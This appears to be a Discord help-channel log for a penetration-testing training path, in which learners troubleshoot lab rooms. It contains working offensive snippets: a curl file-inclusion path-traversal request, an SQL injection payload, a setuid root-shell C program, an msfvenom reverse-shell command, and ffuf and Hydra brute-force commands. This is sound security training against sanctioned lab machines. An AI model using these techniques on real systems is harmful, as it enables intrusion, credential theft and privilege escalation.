#junior-pentester-path

1 messages Β· Page 3 of 1

sage current
modest arch
#

hey @sage current how are you doing tonight?

deft rain
#

Maybe there are certain tasks in which browser dev tools won't work in which you gotta use burpsuite. There are other ways but ....

stark turtle
deft rain
stark turtle
#

Correct

deft rain
stark turtle
#

I assume thats how you complete the paths. Thats how it was for Pre-Security Pathway and Intro To Cyber Sec Pathway aaand everything before File Inclusion :p

deft rain
#

Okay I think you should learn burpsuite

stark turtle
#

Thats not the point, wanna know if there is any way to solve it without burpsuite.

deft rain
#

You will learn other ways in file inclusion room at the end maybe ??

#

I see you have completed the file inclusion room so must know the other ways. Right ?? The challenge you completed at the end of file inclusion room

#

The curl one

stark turtle
#

Thats the end. And no, other ways wouldn't be more sophisticated. There is a way using curl aka

curl -X http://IPHERE/challenges/chall3.php -d 'method=POST&file=../../../../etc/flag3%00' --output -``` 

which works perfectly fine, but I wanna know if there is a way on which the whole room has built on (how it was for the other tasks)
deft rain
stark turtle
#

Thats why I asked in the first place my friend. What ways there are besides burpsuite with only the knowledge learned up to that room.

deft rain
stark turtle
#

No worries, thats why Im waiting for a response from a Mentor πŸ™‚

deft rain
midnight maple
#

Lassi is a volunteer, please don't ping anyone like that

deft rain
midnight maple
#

I understand, its ok. Just for next time 😁

deft rain
somber raft
#

I'm having an issue with burp suite task 13. When I access the page normally it loads instantly but if I go through burp suite browser or foxy proxy it just loads forever. Any ideas?

deft rain
next lanceBOT
#

Gave +1 Rep to @deft rain

deft rain
next lanceBOT
#

Gave +1 Rep to @somber raft

teal vortex
#

Anyone agree with reading walk through and get idea of task and do it again. Methodologies?

vale sinew
#

Hi all! I have a question relating to the File Inclusion room. I've managed to get to the challenge section, and I am stuck at the first flag. I understand that I have to change the GET request to a POST request to get the flag. I've tried in the browser tools to "Edit and Resend", but I dont feel like it is working.

#

I've also tried to open Burp, but as I haven't yet gone through the Burp room I dont know how to use it really, but I also do get an error message when trying to "Open browser" through Burp.

stark turtle
vale sinew
#

I've opened the web developer tools and used the network tab to catch and look at the requests comming in when I type something in the form in challenge 1.

#

I then grabbed the GET request with my information, Right clicked and choose "Edit and Resend". Changed the method to POST and clicked "Send". But I don't see anything changing.

vale sinew
#

Alright, I managed to get the flag by editing the source code. So I guess I made it! I'll have to look into the Burp suite when I get to that room πŸ™‚ Thank you πŸ™‚

next lanceBOT
#

Gave +1 Rep to @steel nymph

vale sinew
#

Yeah, I do get a wierd error message when trying to open the Burp browser, but maybe it is because I haven't set it up correctly

#

Wow.. that is exactly what I needed someone to tell me xD

#

Thank you, Burp suite works for me now πŸ˜„

deft rain
#

πŸ€”

#

Hmm. Looks like i didn't misunderstood anything atm 😫

deft rain
#

+rep @steel nymph

next lanceBOT
#

Gave +1 Rep to @steel nymph

leaden shell
deft rain
deft rain
leaden shell
deft rain
modest arch
#

hi guys i got a problem in the windows privilege escalation room.....in the task six (Abusing dangerous privileges) i couldn't access the target machine......is there any suggestions ?

shadow echo
modest arch
#

of course but nothing happens

shadow echo
modest arch
#

wprivesc2_v1.1

shadow echo
#

Can I have the target machine IP and try myself?

modest arch
#

10.10.51.236

shadow echo
modest arch
#

i am using the attack box and rdesktop command to access it

shadow echo
modest arch
shadow echo
# modest arch

Ok, so what's the error you get?
Since I just tried it and it seems to work fine

#

Might want to show me a screenshot of the error

modest arch
#

the certificate is not valid

shadow echo
#

Mh

#

Might want to try it with remmina

#

I think that's on the attackbox too

modest arch
#

i just turned off the attack box .....wait me to restart it

#

i will try it right now

#

it works fine with remmina

#

thank you both guys

#

@steel nymph @shadow echo

modest arch
#

ok i'm stuck on Authentication Bypass with the brute force. I created the valid_usernames.txt file and populated it. I ran the code which it says has 0 Errors but I don't see the username/password combination? I've attached a screenshot of my output:

#

ok i couldn't include a screenshot?

midnight maple
#

you have to verify first CoralWolf ( to post images etc )

#

!docs verify

tiny bluffBOT
midnight maple
#

follow the instructions in that link ^ πŸ™‚

modest arch
#

whoopsie

#

sorry bout that

midnight maple
#

not a problem!

modest arch
#

It's not verifying?

#

nevermind verified the wrong bot LOL

#

so back to my question @midnight maple

#

can you help me?

stark turtle
#

Screenshot please

modest arch
#

one sec πŸ™‚

modest arch
#

am i reading it wrong @stark turtle (by the way love the name)

#

one sec

#

Thanks again @steel nymph

next lanceBOT
#

Gave +1 Rep to @steel nymph

modest arch
#

Thanks @stark turtle

#

one sec

#
root@ip-10-10-229-174:~/Desktop# cat -A valid_usernames.txt
simon$
steve $
robert$
stark turtle
#

ya have a lil space there @ steve. I believe that could be it

modest arch
#

yep

#

omg.

#

seriously?

stark turtle
#

very likely :d

modest arch
#

Thanks again you two

#

small fau paux

stark turtle
#

happens to the best

next lanceBOT
#

Gave +1 Rep to @stark turtle

modest arch
#

YES! got the answer

#

thanks again

stark turtle
#

Ayyy, lets go!

modest arch
#

I hope to be as good as you two some day!

stark turtle
#

U dont wanna be as good as me. Trust me KEKW Because then you would be bad smartboi

modest arch
#

Lol I don't believe it

grave cape
#

That task fucked me over too haha dw

modest arch
#

I have a question. I'm taking notes on everything. Does it come with repetition and time? I'm trying to remember it all.

hazy kraken
#

You should always take notes. You will adapt what and how you note, but it's always a good idea to keep track of important information

modest arch
#

@hazy kraken thanks I was mistakenly trying to remember it all as I'm going thru the Authentication Module you know?

next lanceBOT
#

Gave +1 Rep to @hazy kraken

teal vortex
#

I'm facing Problem in Task 5 Privilege Escalation : Kernel Exploits, First it wasn't let me download exploit file ('.c ' formate) in target machine, But i've done it in different location /run/user/1001

#

but now it doesn't let me execute exploit even i've execute permissions.

idle bison
teal vortex
#

Ohh so will it work if i download in /tmp ?

#

Thank you @idle bison for your help, I got the flag πŸ‘πŸ»

next lanceBOT
#

Gave +1 Rep to @idle bison

idle bison
teal vortex
#

Is it apply for every machine ?

mint lynx
#

Linux Privilege Escalation Task 11, I am not able to mount my NFS folder. I use the command "sudo mount -o rw 10.10.24.79:/home/ubuntu/sharedfolder /tmp/sharedfolder " What am I doing wrong?

modest arch
#

i'm facing an issue in file inclusion lab 1? I'm not understanding the instruction on it. Can someone elaborate a bit

grave cape
modest arch
#

I get your using php to find an open directory to the file you want, but i'm not understanding the request URL part of it.

grave cape
#

Ahh, look at the url you crafted

#

Thats the request url

modest arch
#

I have it!!

#

got it!

grave cape
#

There you go laddy

#

Good job @modest arch

modest arch
#

thanks

modest arch
#

hey @grave cape i have a question about file inclusion can you simplify it a bit

grave cape
#

Sure shoot @modest arch

modest arch
#

well i'm on lab3 and i'm backtracking a bit trying to understand the substitution of the nullByte. it's telling me to not trust the user input form and what i came up with is lab3.php?file=/././././etc/passwd.php

#

can i DM you @grave cape? I don't want to "give away" answers to the @tiny bluff stuff in open chat?

grave cape
#

Sure go for it

#

The hint just means enter your payload into the browser search bar instead of the input fields

modest arch
#

oh well i was tryin to solve without the hint but thanks! Also are you a pen tester out in the world?

grave cape
#

Nope haha learning myself πŸ˜ƒ

#

Also no shame in using the hints they are there to help

modest arch
#

true. I'm torn between pen testing and soc analyst.

grave cape
#

Going pentester myself

teal vortex
#

I'm not able to get reverse shell using cronjob as privilege escalation

#

Modified scripts which are already there even Created deleted one, but not able to get reverse shell can anyone help ?

#

Okay I got it now it need little patience.

fading gulch
#

It is a CRON job after all πŸ˜„

#

I always give two passes of the timer before I panic.

teal vortex
#

In Task 11: NFS Privilege Escalation I got error

#
$ ./nfs
./nfs: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./nfs)
#

-rwsr-sr-x 1 root root 16056 Dec 2 06:25 nfs

#

permissions on it

#

and code

#
#include <stdio.h>
#include <stdlib.h>
int main()
{ setgid(0);
  setuid(0);
  system("/bin/bash");
  return 0;
}

#

what am I missing ?

mint lynx
teal vortex
#

have you done any thing different from this ?

deft rain
teal vortex
#

don't get it can you elaborate ?

#

Like right now I'm using

#

gcc nfs.c -o nfs -w

#

what should i've to change

teal vortex
teal vortex
#

Thank you for your help I've got the flags and all answers

deft rain
#

+rep @shadow echo

next lanceBOT
#

Gave +1 Rep to @shadow echo

teal vortex
#

I’ve completed the path πŸŽ‰

modest arch
#

Congrats @teal vortex - what's your next move?

modest arch
#

when doing the bruteforce username enumeration with ffuf - is it possible to pipe out a clean username list?

teal vortex
thin monolith
idle bison
#

Check the permissions on it

#

Make sure it's executable

inner hollow
#

Evening, fellow pen testers

thin monolith
next lanceBOT
#

Gave +1 Rep to @idle bison

teal vortex
thin monolith
#

I forgot to set it as executable :/ Afterwards it worked as intended

modest arch
#

SQL Injection Task 8 - there are 2 columns in the users table - i have found the username column - but i cannot find the 2nd column name for the life of me. i have tried a-z, 0-9 and - [underscore]

it doesn't seem to begin with - or [underscore] . however i have noticed that the '_' seems to act like a letter substitute, because { column_name like '_s__nam%';--} returns true - is this normal

#

i know what the other column is, i just don't understand why it's not returning true

deft rain
deft rain
modest arch
#

I managed to pass it last night knowing it was a user table and I was attempting to get credentials… I had a good idea of what the 2 columns were 😎 I believe the string was something along the lines of || admin123’ UNION SELECT sleep(1),2 FROM information_schema.columns WHERE table_name = β€˜sqli_four’ AND column_name = β€˜username’ AND column_name LIKE β€˜pas%’;β€” ||
This was returning false.

#

If I have written that correctly I’m very happy with myself as I have just woken up and not had coffee yet, and managed to recall that from memory hahaha

modest arch
modest arch
#

Unrelated to the task, just an additional question. I mean when trying to reveal table names in a scheme for example. how would you know that a table does in fact start with an underscore or whether it’s just substituting another letter.

deft rain
modest arch
#

Passive Reconnaissance Room - Task 6 - Q1 needs the answer updating as shodan now shows ireland for both:

#

Not sure what it used to be, but i can't 100% this room πŸ˜„

#

managed to guess it || Germany || if anyone else needs to pass the room until its updated πŸ™‚

native bone
#

shows it correctly for me

modest arch
#

Q2 - asks for the 3rd most common port for Apache. Shodan.io only lists 2 and its an nginx server....am i missing something here?

#

nvm, question 1, 2 & 3 wants you to search 'Apache' and 'Nginx' on Shodan.io - i misunderstood and thought it was expecting you to get the answers from a search report of tryhackme.com

elfin geyser
#

My metasploit run on msf5 while the course uses msf6

#

When i run it says auxiliary failed

#

Using auxiliary/scanner/netbios/nbname
msf5 auxiliary(scanner/netbios/nbname) > run
] Auxiliary failed: Msf: :OptionValidateError One or more options failed to validate: RHOSTS

#

What do i do?

deft rain
#

!docs verify

tiny bluffBOT
elfin geyser
deft rain
elfin geyser
#

the show option for the netbios/nbname ?

deft rain
elfin geyser
deft rain
elfin geyser
#

set it to what?

#

ohh i get now

deft rain
deft rain
elfin geyser
#

but on the learning material they do not set it any where.....how do i set it?

deft rain
elfin geyser
deft rain
elfin geyser
#

under scanning

#

im just tryna do what was done there before i get to the excersises

deft rain
deft rain
elfin geyser
#

i wana do this. but how do i set the rhost or the port number

deft rain
deft rain
elfin geyser
#

yeah

deft rain
elfin geyser
#

yes

deft rain
elfin geyser
#

howw??

deft rain
#

set RHOSTS [ip address]

elfin geyser
#

thanks done

sage current
#

@timid compass ⬆️

#

they spammed it into basicly every channel... think it is something weird with it

gentle hull
#

Am I missing something here? That's clearly the correct URI.

deft rain
gentle hull
deft rain
queen wyvern
#

hello guys. i have an issue. my attackbox is pretty slow. i seem to get stuck all day. i would rather prefer to use my local kali machine. i have tried downloading some files from the attackbox, but it seems to not go through. i want to ask if there is a way to download files, such as wordlists from the attackbox to my kali ?

modest arch
#

On the direcotry with the list

#

Then wget http:atackboxio:port/list.txt

sleek dragon
#

hey guys ,im new to this server. ive been learning python since a long time and can i get a idea so something that i can do using python

elfin geyser
#

hey guys

#

im working on the metersploit lab

#

msfvenom

#

i did everything right

#

but i do not get a meterpreter

#

anyone know whats wrong?

modest arch
#

hi guys neeeed you here....... in the windows privilege escalation room in task 6 when used impacket this msg popped up

gentle hull
# deft rain Check if you extra space before or after the answer

I did a little more digging after a night of sleep and just as I suspected, the answer it accepted is NOT the correct answer for exploiting the LFI.

Not sure if there's a place to report issues like this, so I'll leave this here for anyone else who runs into the same thing.

deft rain
deft rain
deft rain
gentle hull
#

It's in the screenshot

deft rain
gentle hull
deft rain
#

There is no issue with the room. Your answer was wrong maybe πŸ˜„

gentle hull
#

No, the accepted answer is wrong

#

Look at my other screenshot

deft rain
gentle hull
#

Well this has been productive

gentle hull
#

The platform does not accept the actual correct answer

deft rain
gentle hull
deft rain
gentle hull
#

It does though, that's the whole point. I have to do work now, hope this conversation was helpful for others.

deft rain
#

Can you share a screenshot of just /etc/passwd in the form ??

elfin geyser
#

once i click anything it terminates the session

deft rain
elfin geyser
elfin geyser
#

i dont know why it doesnt automatically gives me a meterpreter

deft rain
deft rain
#

It doesn't require traversal

elfin geyser
#

I just typed c there

deft rain
elfin geyser
#

Once i run the script on the victim machine it gives me this

#

Then does nothing else

deft rain
elfin geyser
#

Okay

deft rain
#

enter a command sessions

#

what did you get ??

deft rain
tiny cape
#

Hello everyone. Am Solomon.

For some reason, I don't know why my thm Virtual machine refuses to start. It all started today. Am participating in the advent of Cyber 2022 game

deft rain
elfin geyser
#

what do i do?

deft rain
#

maybe I'm wrong can you please share a screenshot without editing ??

elfin geyser
#

editing what?

#

there is no edit there

deft rain
elfin geyser
#

once i type anything it ends

deft rain
elfin geyser
#

in the metasploit:exploitation room

deft rain
elfin geyser
#

task 6

#

last question

deft rain
elfin geyser
#

sure

#

this is on murphy terminal using ssh

#

im running the scripts i transferred via python server

deft rain
elfin geyser
#

yeah

#

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ip LPORT=1234 -f elf > re_shell.elf

#

thats the payload

deft rain
#

@elfin geyser can you share screen ??

elfin geyser
#

Okay maybe later

#

My laptop battery is low now

#

In 2 hrs id be charged up back

modest arch
#

is there any functionality behind the 'Script Kiddie" output file format for Nmap or is it kind of an inside joke that went to far? πŸ˜„

#

feels like its only there for trolling purposes πŸ˜„

ember wave
#

i am completely stuck on bruteforcing with ffuf

#

im not sure how to adjust the code to get the output of the username and password

#

ive tried adjusting W1 with the usernames i found but it errors out

digital egret
#

@ember wave did you end up figuring itout?

ember wave
#

nope still very stuck

digital egret
#

Paste the error you are getting and someone may be able to assist

modest arch
#

Which room and task number? I’ll take a look if you want another set of eyes 😎

night surge
#

I believe its Intro to web hacking authentication bypass task 4

#

finished that section earlier today

#

wait no thats task 3

modest arch
modest arch
next lanceBOT
#

Gave +1 Rep to @night surge

modest arch
# ember wave nope still very stuck

One thing to check is the path you are using to the wordslist. The path is CaSE SensTIVe, and so will cause it to error out if you have missed some capitalization. It kept getting me for about 15-20 minutes, i was so frustrated πŸ˜„ - turned out, i had missed the the capital L in /SecLists/

Also for your usernames txt file - make sure your usernames are on a new line each, not a comma/space separated list. eg:

your valid_usernames.txt [or whatever you decided to call it] should look like -

name1
name2
name3

And not like -

name1,name2,name3
OR
name1 name2 name3

W1 is being used as a variable and will run on each line of the document you pass it, so if you have them in a comma/space separated list, then what the code will POST to the server would like:

username=name1,name2,name3
OR
username=name1 name2 name3

Instead of:
username=name1
username=name2
username=name3

obviously replacing my examples 'name1','name2', 'name3' with the usernames found in Task 2

modest arch
#

Hydra related Question - is it possible to instruct Hydra to process a list in reverse [Bottom > Top] rather than [Top > Bottom]?

My thinking is it could speed up the process with files like rockyou.txt. This way i could run in 2 separate tabs one starting the list from the top and the other starting from the bottom - meeting in the middle, this would half the process time

idle bison
modest arch
#

NetSec Challenge room:
added the two users to users.txt and set password list to rockyou.txt with 64 threads running - and the VM almost timed out before it has finished processing - reckons it has 125hrs to process the full list

idle bison
#

Perhaps you're doing something wrong.

#

The room review rules for tryhackme includes a 5 minute limit on brute force.

modest arch
#

oh my days - adding the users to a user list was a mistake!!!

#

thanks @idle bison for making me re-assess and not sit here like a melon for hours hahaha

next lanceBOT
#

Gave +1 Rep to @idle bison

idle bison
#

Remember the 5 minute rule

modest arch
#

do you know why using a user list with 2 users take considerably longer than running them individually?

idle bison
#

Well it'll take at least twice as long

elfin geyser
#

hey guys

#

im confused on what to do from here as i do not have a meterpreter

idle bison
elfin geyser
#

yeah

#

u see that it connects

#

but doesnt give a meterpreter session

shadow echo
#

Might want to show a screenshot of your options

shadow echo
elfin geyser
#

i already set the LPORT AND LHOST

shadow echo
#

So show a screenshot please and we can go from there

elfin geyser
#

the payload is reverse_sh.elf

modest arch
# idle bison Well it'll take at least twice as long

well defining the username with '-l name1' and then running again for '-l name2' took about 10 seconds each to run. but running '-l users.txt' was running for well over 30 minutes before i asked my original question in here

modest arch
#

oh wait

#

because it will run the full passwords list on the first user and then do the second - 5 minute rule!

idle bison
#

No

#

-L is used for a username list

modest arch
#

hahaha

idle bison
#

You were using the literal string "users.txt" as the username

modest arch
#

i get you, thank you - seething now πŸ˜„

#

i need to get some flashcards made. nmap module just before it was a flag overload, my heads floating with them.

ember wave
#

still not getting any output with the password

modest arch
#

||-d "username=admin,robert,simon,steve&password=W2"|| is where you went wrong

#

remember W1 is acting as a variable the same as W2 is acting as a variable for your password list

#

put your code between | | | | so that it makes it a spoiler tag and doesn't ruin the fun for others not that far πŸ™‚

ember wave
#

ok im tracking so with those acting as variables and reading the file correctly as it does when i use the original text from the guide where does the output post to? because when i leave it alone it reads it without error how do i get it to output something. I think thats the part my brain is lagging on

modest arch
#

it should output a result straight into the terminal, it does not go into a file or anything

ember wave
#

this it the output when leaving it alone: || ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.56.92/customers/login -fc 200
||

#

so i assumed i had done something wrong

modest arch
#

share your updated code πŸ™‚

ember wave
#

|| ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.56.92/customers/login -fc 200 ||

modest arch
#

looks correct from memory. im in the middle of a room at the minute. try removing admin from the users list and re-running your code

ember wave
#

smh nope still same output no username or password shown. This is the weirdest thing lol and thank you for the help. I can wait till your free if youd like

modest arch
#

im getting a 502 server error from THM now πŸ˜„

#

just had a check, and it all looks correct. I even started a machine and ran your code and it worked - try a hard refresh on your page and try your code again

#

CMD+SHIFT+R [mac], CTRL+SHIFT+F5[Win - i think]

#

i also ran your code with your VM IP and it worked too, so your VM is still up for definite

ember wave
#

huh odd ok im refreshing the page now

#

no luck did a hard refresh and even terminated the machine and started over

#

well ill be. Figured it out. I created a new doc with the username info and it worked smh

#

thanks a lot for all the help

modest arch
#

no problem πŸ™‚

idle bison
vivid raptor
#

guys, please help. I am currently learning metasploit. ran into a problem with the reverse shell generated by msfvenom

shadow echo
next lanceBOT
#

Gave +1 Rep to @shadow echo

elfin geyser
idle bison
#

Not really

#

But it's the same problem in both cases

elfin geyser
#

My payload match

idle bison
#

Show us.

#

Screenshot please.

elfin geyser
#

Screenshot of what?

vivid raptor
elfin geyser
elfin geyser
idle bison
#

run show options

vivid raptor
#

maybe trouble with port or host

idle bison
elfin geyser
#

this is the show options

#

my attacker ip and a port i gave it

elfin geyser
vivid raptor
vivid raptor
elfin geyser
vivid raptor
#

set payload linux/x86/meterpreter/reverse_tcp

prisma berry
#

Hi all new here, I would like some help i am on task 12 content discovery and im being asked to target the acme it support page, so ive got onto the attackbox, tried all these different automation tools (making sure to change the MACHINE_IP to my attackbox ip). My issue is i cant find this acme support page that im supposedly having to target. Thanks

modest arch
#

MACHINE_IP is a variable on the page that switches to the target machines IP once it’s booted. Did you start the target machine as well as the attack box?

#

The target machine will be In the accordion tab with the green icon

elfin geyser
#

my attackbox hangs alot

#

and its damn slow

#

anyone know how to make this better?

deft rain
elfin geyser
#

im using safari

#

is chrome better?

deft rain
#

Better keep using safari. Enable hardware acceleration if it has.

modest arch
#

this one has me scratching my noggin':
Metasploit | Exploitation - Task 5
anyone offer a nudge in the right direction?

elfin geyser
#

how do i know how many days is left on my subscription?

elfin geyser
next lanceBOT
#

Gave +1 Rep to @deft rain

modest arch
modest arch
#

no, i cant even see a user 'pirate' πŸ˜„

#

is it refering to the same smb server

deft rain
modest arch
#

cheers πŸ™‚

deft rain
#

You got the meterpreter shell right ??

modest arch
#

yes and yes. i used hash dump on the session and only got a administator hash i think.

#

it was a few hours ago, i will need to start from the beginning as i had a meeting at work πŸ˜„

deft rain
modest arch
#

thanks @deft rain - im booting the machines back up now. to take another run through

next lanceBOT
#

Gave +1 Rep to @deft rain

modest arch
#

@deft rain i'm at a loss again πŸ˜„ - i arrived at the same place and unsure of what to do next - whether theres another step or i need to go back and try another step instead

#

my only guess would be || exit current connection to smb and try and connect as Administrator using the stolen hash||

deft rain
modest arch
#

yeah

deft rain
modest arch
#

in your DM

#

appreciate the help

modest arch
#

Thanks @deft rain got there in the end. Thank you again for your time and guidance πŸ™‚

next lanceBOT
#

Gave +1 Rep to @deft rain

next lanceBOT
#

Gave +1 Rep to @tame estuary

modest arch
#

Metasploit DB Usage Practice | No spoilers - just attempting some additional learning.

I wanted to have a play with msfdb in the attack box before i progress further.

$systemctl start postgresql
Then, when trying $msfdb init, it insists running as a non-root user.
Okay, fine
$su ubuntu
$msdb init

This then asks for a user and password for msf web service. i use root:root as something easy to remember.
It then attempts to start the msf web service - and then errors out.

does it only behave this way in the attack box or have i fluffed something up? in the task write up, they run everything as root without errors.

#

nvm - i'm a tool sometimes πŸ˜„ Looks like it is just attack box behavior/limits - i'll go start a Kali box

modest arch
#

Metasploit: Meterpreter - Task 5

Possibly another DOH! moment - I have found the secrets.txt and realsecret.txt files but the the task is not accepting the paths as the correct answers

sage current
modest arch
#

yep, DOH moment πŸ˜„

#

Thanks @sage current

next lanceBOT
#

Gave +1 Rep to @sage current

sage current
#

no problem

modest arch
#

Metasploit rooms Complete πŸ™‚ - that was ....Emotional.

thoroughly enjoyed them but one hell of a roller coaster

sage current
#

nice

#

one step closer to the cert of completion for this path then

modest arch
#

yep πŸ™‚ just booting up 'What the Shell?'

#

once i have finished the Jr Pentester Path, then i am going to redo the nmap rooms, as that was a lot to take in - and it didn't all go in ... at least it doesn't feel like it did i still dont fully understand all the scan modes

prisma berry
next lanceBOT
#

Gave +1 Rep to @tame estuary

modest arch
#

very welcome - i have had quite a few of those moments today if you look at the conversation in this room πŸ˜„ πŸ˜„ πŸ˜„

modest arch
#

At the end of the β€˜what the shell?’ Room, the last three tasks.
I think this format would work really well in every room. A bunch of extra optional scenarios and two different environments to practice in.

This is what I’ve been waiting for. πŸ₯³ I like to have play at the end of a room and explore the new things I’ve learnt, but being new to the tool/concept taught in the room, I often find myself scratching my head not knowing enough to give myself my own scenario’s..

Are there more rooms that run in this format?

modest arch
#

is there any experienced QA person that can recommend some certification to switch more to the cybersec (without loosing 50% of your salary πŸ˜… ) ? I was thinking about CompTia Pentest certification.

midnight maple
rustic socket
#

does being a QA lead me to a pentester path?

gaunt bolt
#

β”Œβ”€β”€(kaliγ‰Ώkali)-[~]
└─$ cd Villain

β”Œβ”€β”€(kaliγ‰Ώkali)-[~/Villain]
└─$ sudo python3 Villain.py

┬  ┬ ┬ ┬  ┬  β”Œβ”€β” ┬ β”Œβ”β”Œ
β””β”β”Œβ”˜ β”‚ β”‚  β”‚  β”œβ”€β”€ β”‚ β”‚β”‚β”‚
 β””β”˜  β”΄ β”΄β”€β”˜β”΄β”€β”˜β”΄ β”΄ β”΄ β”˜β””β”˜

 by t3l3machus

[Debug] Core server failed to start. Port 65001 seems to be already in use.

β”Œβ”€β”€(kaliγ‰Ώkali)-[~/Villain]

#

how can i debug this ?

modest arch
# rustic socket does being a QA lead me to a pentester path?

it depents in my opinion. You can be a QA that can cover all parts of quality control - inclusive security. Or as QA you can at least get very strong fundamentals of backend, networking, DBs etc (depents what is your role / scope / company / project etc.)

rustic socket
#

thanks for the response @modest arch , im a fresh grad and i want to start a career in cybersecurity specifically in the field of pentesting but it seems to be companies are mostly hiring only with experience. thats why i asked for a lower tier role to get into that position. currently im learning online materials and studying

next lanceBOT
#

Gave +1 Rep to @glacial panther

gaunt bolt
#

β”Œβ”€β”€(kaliγ‰Ώkali)-[~/Villain]
└─$ sudo python3 Villain.py
Traceback (most recent call last):
File "/home/kali/Villain/Villain.py", line 11, in <module>
from Core.common import *
File "/home/kali/Villain/Core/common.py", line 12, in <module>
from Crypto.Cipher import AES
ModuleNotFoundError: No module named 'Crypto'

β”Œβ”€β”€(kaliγ‰Ώkali)-[~/Villain]
└─$

#

iam geting some error ?

idle bison
#

@gaunt bolt is this related to content on this tryhackme learning path?

gaunt bolt
#

i dont no where to ask & am new to cybersec

gaunt bolt
#

@idle bison tq

modest arch
#

I'm doing a little deeper dive into nmap before i finish off the Jr Pentester Path - i am referencing nmap.org here [ https://nmap.org/book/host-discovery-dns.html ]

Is it a common/standard practice IRL to utilise nmap's [ --dns-servers ] to speed up scan times and offer a little extra stealth? and also how much stealth and time savings does this generally this offer? (i know it's not really quantative, just curious as to whether its worth the extra effort)

idle bison
modest arch
#

okay, so more of a perfomance enhancer. can you pass [ --dns-servers ] an authorative_servers.txt list as an argument?

idle bison
#

Doesn't look like it.

modest arch
#

no problem πŸ™‚ thanks @idle bison

Got myself a fresh notebook to sit and write all my notes down, it's genuinely helping. Just the handwriting that needs some work now :p

next lanceBOT
#

Gave +1 Rep to @idle bison

unreal perch
#

Hi need help with windows priviledge escalation, the payload has been sent over to the windows machine and I cannot find it on the system, the AV is off by default

deft rain
unreal perch
#

I had a look in the folders and the move command is not finding it in any dir

deft rain
unreal perch
#

ok will attempt it tonight and try that

unreal perch
modest arch
#

Linux Escalation | Task 7 - running task 7 machine

Karen has no sudo privileges at all - how do i progress. It's impossible to follow along with the task as the permissions don't allow you

modest arch
#

nvm worked it out πŸ™‚

mint sequoia
#

Hi guys

#

I am new here

deft rain
#

Go to C:\Users\thm-unpriv and there try downloading the malware from your attacking machine

unreal perch
#

I have already gained access to svcuser1 and I have stated that I have tried the usual directory C:\Users\thm-unpriv . I also tried the C drive as well as the temp directory in App Data

unreal perch
#

I am using the attack box it displays that it has been transferred with 200 status what more can I do as I viewed each folder in the directory

deft rain
#

If yes then you have to use -o [output filename] in the command too

unreal perch
#

no I used the Simple httpserver with python module and on the victim pc used wget to transfer the file on to the pc

#

with powershell opened

deft rain
#

!docs verify

tiny bluffBOT
unreal perch
#

please see above error I get when trying to move the file across

#

below I mean

deft rain
#

Enter dir command to list files of that dir

unreal perch
#

I have looked everywhere on the directory

deft rain
unreal perch
#

ok works better with curl, thanks

#

should have just started with that curl command when you mentioned it, thanks again Graves

modest arch
unreal perch
#

thank you

modest arch
#

i think you can do [ Get-Alias -name "wget" ] & [ Get-Alias -name "curl" ] in powershell to confirm this

flat tree
#

Hey! currently on Introduction to web hacking: Subdomain enumeration, on the last exercise of it "Virtual Hosts" the size I need doesn't come up when I follow all the steps in the attack box, so I've watched some video's and that way got the answer, I still want to do it myself but I have noticed that every single video I watched the person was using Kali Linux so I was wondering if I could just follow the entire course on Kali Linux using VMware

deft rain
elfin geyser
#

hey i wanna ask was the windows privilege escalation course rebranded recently?

sage current
next lanceBOT
#

Gave +1 Rep to @sage current

elfin geyser
deft rain
#

Ohh okay

fossil apex
#

Afternoon! Need some assistance. Working on Linux Priv Escalation Task 9. I've identified the cronjob and injected my reverse shell into the file on the target system and started a NC listener on my attack box. However, Im not getting any callbacks on my own attackbox or the THM attackbox. Ive tried changing the port numbers in the inserted code/NC listener as well as terminating the target system and restarting it. Watched a few walkthroughs and Im doing exactly what theyre doing and still no callbacks. Any ideas??

shadow echo
fossil apex
fossil apex
#

Welp here I am again -- Working on Linux Priv Escalation Task 11. I have my attack directory mounted to the target no_root_squash directory, created my binary, compiled my binary, set the SUID, and it runs on the target machine. However, the code provided in the lesson isn't escalating to root. I tested a dummy file (just prints "Hello, World!") and it runs just fine on the target box. I've even copied code used in a walkthrough (which is similar but different to the lesson provided code) and still nada. Any ideas??

fossil apex
weak pendant
#

Hello guys on Task 5 of Linux PrivEsc i can't wget the payload from my own kali attackbox on /Downloads/37292.c

#

any ideas to help please

#

when i do wget on target machine my attackbox responses with 404 file not found

shadow echo
#

Then just use /37292.c

weak pendant
#

Thanks alot worked

bitter fractal
#

Hey guys how can we specify a port with enum4linux, the ssh port is 2222 and I think enum4linux scan the 22 ( Basic pen testing)

idle bison
bitter fractal
next lanceBOT
#

Gave +1 Rep to @idle bison

idle bison
still swift
#

what will be best path to pentester career ? (junior pt-->offensive pt---> web fundamentals ? )

deft hawk
#

I'm starting to feel a real bond with the folks at ACME IT Support! Almost feeling sad for them and their super insecure website πŸ˜„

modest arch
deft hawk
next lanceBOT
#

Gave +1 Rep to @sage current

shell summit
#

heyy, I'm having some trouble with the burp suite basics room, on task 14

#

instead of getting the alert I get this 'invalid parameters' thing and I don't really know what I could be doing wrong :/

hoary light
shell summit
#

yes

hoary light
#

you have to forward your input

#

Don't turn off the intercept

shell summit
#

well it just suddenly worked now... and the attack machine just stopped working immediately after haha

#

but I also did that, this was my millionth try

#

guess it was just a buggy thing?

#

thank you either way πŸ™‚

hoary light
#

i have to say it, then it works xD

shell summit
#

i was showing the issue to my fiance after your answer and suddenly it worked hahaha i think the universe is just against me

hoary light
#

right now? - yes πŸ˜›

dawn chasm
#

cant seem to wget on linux privescalation room

#

im not to sure whats happening but i just keep getting 404 file not found

mental salmon
#

Hi, I'm trying to rdp into a tryhackme windows machine from my own kali linux (not attackbox). I've tried rdesktop to the IP but receive error. How do I do this?

deft rain
rustic totem
livid oriole
#

is nc not installed on the what the shell windows pc? I keep getting a 'nc' is not recognized error.

deft rain
livid oriole
#

ok

warped sky
#

